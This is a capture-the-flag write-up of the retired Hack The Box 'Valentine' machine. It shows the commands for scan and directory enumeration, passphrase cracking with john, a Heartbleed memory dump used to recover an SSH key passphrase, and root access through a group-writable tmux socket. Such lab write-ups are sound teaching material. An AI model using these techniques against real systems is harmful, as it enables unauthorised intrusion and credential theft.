Hack The Box Valentine Writeup

Published:
September 16, 2024

This is a writeup for the retired Hack The Box Valentine machine.

Solution Summary

The Valentine machine is running outdated software and uses a version of the OpenSSL library with the heartbleed vulnerability (CVE-2014-0160).

This vulnerability can be used to decrypt an SSH keys accidentally exposed on the Valentine’s Apache HTTP Server. After gaining access to a regular user account, a Tmux session with improper read and write permissions allows gaining root privileges.

Solution

The steps to solving this machine are:

  1. Identify running services with Nmap
  2. Enumerate files on web server
  3. Retrieve encrypted private SSH key from server.
  4. Identify heartbleed vulnerability.
  5. Use heartbleed to dump memory out of OpenSSL library used in Apache HTTP Server.
  6. Extract SSH key password out of memory dump.
  7. Access hype user account and retrieve user flag.
  8. Enumerate local machine and identify privilege escalation vector.
  9. Use open root Tmux session to retrieve root flag.

Nmap

nmap -oX machines/valentine/nmap.xml -sV -A -sC 10.10.10.79
Starting Nmap 7.94 ( https://nmap.org ) at 2024-09-16 08:27 JST
Nmap scan report for 10.10.10.79
Host is up (0.16s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
|   2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_  256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp  open  http     Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_ssl-date: 2024-09-15T23:17:31+00:00; -10m32s from scanner time.
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after:  2019-02-06T00:45:25
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -10m32s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.23 seconds

Potential vulnerabilities:

Website at http(s)://valentine.htb

We then enumerate directories and files on http://valentine.htb using feroxbuster. First, we briefly look at the landing pages and take screenshots.

Site visible at 80/TCP/HTTP

Site visible at 80/TCP/HTTP Open in new tab (full image size 64 KiB)

Site visible at 443/TCP/HTTPS

Site visible at 443/TCP/HTTPS Open in new tab (full image size 68 KiB)

We use the raft-medium-directories.txt word list and explicitly filter out 404 status codes.

feroxbuster \
  --url http://10.10.10.79 \
  --wordlist=SecLists/Discovery/Web-Content/raft-medium-directories.txt \
  --quiet -C 404 --collect-backups

Four interesting pages turn up after feroxbuster finishes:

[...]
301      GET        9l       28w      308c http://10.10.10.79/dev => http://10.10.10.79/dev/
200      GET        8l       39w      227c http://10.10.10.79/dev/notes.txt
200      GET        2l     1794w     5383c http://10.10.10.79/dev/hype_key
200      GET        1l        2w       38c http://10.10.10.79/index
200      GET      620l     3539w   275344c http://10.10.10.79/omg.jpg
200      GET        1l        2w       38c http://10.10.10.79/
200      GET       25l       54w      552c http://10.10.10.79/decode.php
200      GET       27l       54w      554c http://10.10.10.79/encode
[...]

Decoding hype_key

We find a file called dev/hype_key, containing a long series of hexadecimal values.

File dev/hype_key

File dev/hype_key Open in new tab (full image size 271 KiB)

What could be in hype_key? Let’s reverse xxd the file contents and find out:

xxd -r -p machines/valentine/hype_key

Shocking! It’s an RSA private key! Here are the (abbreviated) contents.

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46

DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
[...]
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

We try to find out which lock this key fits and store the key in machines/valentine/hype_rsa. Taking a hint from the ENCRYPTED keyword in the key, we know that the key needs to be cracked. We try the empty password first:

openssl rsa -in machines/valentine/hype_rsa -text -noout

The empty password is not accepted:

Enter pass phrase for machines/valentine/hype_rsa:
Could not read private key from machines/valentine/hype_rsa
40879803517F0000:error:1C800064:Provider routines:ossl_cipher_unpadblock:bad decrypt:providers/implementations/ciphers/ciphercommon_block.c:124:
40879803517F0000:error:04800065:PEM routines:PEM_do_header:bad decrypt:crypto/pem/pem_lib.c:467:

We try harder with john:

# Make sure a recent ssh2john is installed, otherwise the script will not
# work due to a Python 3 compatibility issue
ssh2john.py machines/valentine/hype_rsa > machines/valentine/hype_rsa.john
john --wordlist=(tar -xvzf SecLists/Passwords/Leaked-Databases/rockyou.txt.tar.gz -O | psub) \
  machines/valentine/hype_rsa.john
# Try shorter list but with rules
john --wordlist=SecLists/Passwords/xato-net-10-million-passwords-1000.txt \
  --rule=d3ad0ne machines/valentine/hype_rsa.john
# See if anything comes up
john --show machines/valentine/hype_rsa.john

Very likely, this is not a password cracking challenge, so I won’t attempt cracking further for now.

0 password hashes cracked, 1 left

We have seek a different angle on this machine. Since we don’t have the passphrase, we are also unable to see if this private key matches any of the public keys that we have retrieved so far.

Back to Nmap

We run Nmap one more time, making sure we haven’t missed anything:

nmap -oX machines/valentine/nmap_vulns.xml --script "vuln" 10.10.10.79

We find some interesting vulnerabilities, among which ssl-heartbleed sticks out:

[...]
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL
cryptographic software library. It allows for stealing information intended to
be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and
1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for
reading memory of systems protected by the vulnerable OpenSSL versions and
could allow for disclosure of otherwise encrypted confidential information as
well as the encryption keys themselves.
|
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt
|_      http://cvedetails.com/cve/2014-0160/
[...]

Heartbleed

We use a heartbleed exploit proof of concept hosted here and extract a long binary dump of “heartbled” memory into machines/valentine/heartbled.bin.

In order to run the script, I first convert it using 2to3, to be compatible with Python 3.

2to3 -w machines/valentine/heartbleed.py

After 2to3, there were still some issues with bytes and string datatype confusion. Using pyright, I try to fix most of the type issues.

To store the “heartbled” memory dump, we use the --rawoutfile flag:

python3 machines/valentine/heartbleed.py 10.10.10.79 \
    --rawoutfile=machines/valentine/heartbled.bin

Finding credentials in the memory dump

Using strings, we extract useful strings:

strings machines/valentine/heartbled.bin

The $text=... variable looks interesting.

[...]
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==y3
M{(9
[...]

We use base64 -d to decode it:

echo "aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==" | base64 -d

We retrieve the following string:

heartbleedbelievethehype

Is this the secret to cracking the hype_rsa RSA key? We plug the password into openssl rsa and cross our fingers.

openssl rsa -in machines/valentine/hype_rsa -text -noout

It works. We extract the following (abbreviated) information from the successfully decrypted private key:

Private-Key: (2048 bit, 2 primes)
modulus:
    00:d4:53:78:99:70:30:9f:78:20:88:30:bf:37:e0:
[...]
    5f:2e:0b:9f:22:f2:b1:3f:6d:a0:f3:5b:61:8c:2b:
    b2:55:70:0b:cf:8a:e9:ee:d8:9d:10:79:68:3c:b1:
    53:b2:b4:b2:f1:3d:5c:4f:ac:f2:83:6f:b0:81:12:
    4c:cd
publicExponent: 65537 (0x10001)
privateExponent:
    20:6a:01:ce:42:df:59:69:08:66:62:32:bf:00:04:
    7d:99:ff:95:84:85:2e:1c:f7:49:93:60:72:5c:d5:
[...]
    c8:65:dc:39:8c:85:bd:ed:4b:89:c0:de:94:dc:d1:
    0d
[...]
coefficient:
    00:9e:da:39:ba:ab:80:ed:43:e9:93:bc:e0:6b:0a:
[...]
    ac:6b:b7:89:16:91:ea:79:a8:c9:58:07:37:d2:a3:
    8e:d4:80:65:35:5a:1e:87:10

While we’re at it, we remove the password from the SSH key using the following command:

# Make sure ssh won't complain about file permissions
chmod 600 machines/valentine/hype_rsa
# heartbleedbelievethehype
ssh-keygen -p -f machines/valentine/hype_rsa

SSH Access

Now that we have a usable SSH key, we try to log in:

# Thanks to
# https://stackoverflow.com/a/73833149
# for the workaround option used here:
ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i machines/valentine/hype_rsa hype@10.10.10.79

We are inside and immediately retrieve the user flag:

[...]
hype@Valentine:~$ whoami
hype
hype@Valentine:~$ ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt
hype@Valentine:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

The user flag is XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX. We now have to find the root flag.

Device enumeration

Let’s run a full device enumeration using a previous script used for Hack The Box Funnel, with some small quality of life improvements:

#!/bin/bash
set -o pipefail
sedscript="1h;1s/./=/gp;x;1p;x;1p"
function run ()
{
        echo "BEGIN $1" | sed -n "$sedscript"
        if $1 |& cat; then
                echo "END $1" | sed -n "$sedscript"
        else
                echo "FAIL $1" | sed -n "$sedscript"
        fi
}
commands=("uname -a"
"whoami"
"hostname"
"cat /etc/os-release"
"lspci -nn"
"lscpu"
"systemctl status"
"ps aux"
"ip link show"
"ip address show"
"ip route show"
"cat /etc/passwd"
"cat /etc/group"
"iptables --list"
"ss -tl")
for command in "${commands[@]}"; do
        run "$command"
done

The script is passed to the hype user like so:

ssh -o PubkeyAcceptedKeyTypes=ssh-rsa -i machines/valentine/hype_rsa \
  hype@10.10.10.79 \
  bash -s < machines/valentine/enumerate.sh > machines/valentine/enumerate.log

Here are some of the more interesting bits of running processes from ps aux:

[...]
============
BEGIN ps aux
============
[...]
root        955  0.0  0.2  49952  2852 ?        Ss   Sep15   0:00 /usr/sbin/sshd -D
root       1043  0.0  0.0  19976   976 tty4     Ss+  Sep15   0:00 /sbin/getty -8 38400 tty4
root       1053  0.0  0.0  19976   976 tty5     Ss+  Sep15   0:00 /sbin/getty -8 38400 tty5
root       1060  0.0  0.1  26416  1676 ?        Ss   Sep15   0:06 /usr/bin/tmux -S /.devs/dev_sess
root       1063  0.0  0.4  20652  4580 pts/15   Ss+  Sep15   0:00 -bash
root       1066  0.0  0.0  19976   972 tty2     Ss+  Sep15   0:00 /sbin/getty -8 38400 tty2
root       1067  0.0  0.0  19976   968 tty3     Ss+  Sep15   0:00 /sbin/getty -8 38400 tty3
root       1072  0.0  0.0  19976   976 tty6     Ss+  Sep15   0:00 /sbin/getty -8 38400 tty6
[...]
==========
END ps aux
==========
[...]

What could that Tmux session be? And can we access it?

Tmux

Very likely, we have found ourselves a Tmux session. We investigate the session file more closely:

hype@Valentine:~$ ls -la /.devs/dev_sess
srw-rw---- 1 root hype 0 Sep 15 16:16 /.devs/dev_sess
hype@Valentine:~$ file /.devs/dev_sess
/.devs/dev_sess: socket

For some reason, the current hype user’s group can access the file (rw flag set). The file is a UNIX domain socket that might allow us to connect to a Tmux session. We try to connect to it:

hype@Valentine:~$ tmux -S /.devs/dev_sess list-sessions
0: 1 windows (created Sun Sep 15 16:16:09 2024) [80x24]
1: 1 windows (created Sun Sep 15 23:47:37 2024) [120x34]
hype@Valentine:~$ tmux -S /.devs/dev_sess attach-session -t 0
[exited]

We are in a root shell, and find the root flag:

root@Valentine:/# cat /root/root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

That did the trick

That did the trick Open in new tab (full image size 21 KiB)

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index